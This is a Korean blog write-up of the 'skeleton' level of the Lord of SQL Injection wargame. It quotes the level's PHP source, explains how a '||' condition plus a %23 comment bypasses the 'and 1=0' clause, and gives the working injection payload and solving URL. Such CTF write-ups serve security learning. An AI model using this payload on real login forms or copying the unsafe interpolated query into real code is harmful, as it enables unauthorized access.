반응형
문제 10번 - skeleton
query : select id from prob_skeleton where id='guest' and pw='' and 1=0
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
이번에도 마찬가지로 php코드가 주어져있다.
먼저 필터링 함수를 확인해 보면 pw를 받는 변수에 prob와 _ , . , ( , )를 필터링 하고 추가로 i를 통해 대소문자를 구별하지 않는 것을 확인할 수 있다.
<?php
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
?>
또 clear조건을 확인하기 위해 조건문 코드를 확인해보니 id를 admin으로 설정해야하는데 그 뒤에 1=0을 적어 거짓이 되게 하여 막아놓았다는 것을 확인할 수 있다.
<?php
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
이런 경우에는 or이나 ||를 이용하여 id=admin을 적은 후 %23을 사용하여 뒤에를 주석처리하면 우회할 수 있다.(어차피 지금 들어가는 변수는 1=0 앞에 있는 pw 값으로 넣는 것이므로)
따라서 pw=1'||id='admin'%23을 입력한다.
solve
https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=1%27||id=%27admin%27%23
반응형
'write-up > LOS write-up' 카테고리의 다른 글
LOS (Lord of SQL injection) 문제 12번 darkknight write-up (2) | 2021.07.07 |
---|---|
LOS (Lord of SQL injection) 문제 11번 golem write-up (0) | 2021.07.06 |
LOS (Lord of SQL injection) 문제 9번 vampire write-up (0) | 2021.07.06 |
LOS (Lord of SQL injection) 문제 8번 troll write-up (0) | 2021.07.06 |
LOS (Lord of SQL injection) 문제 7번 orge write-up (3) | 2021.07.06 |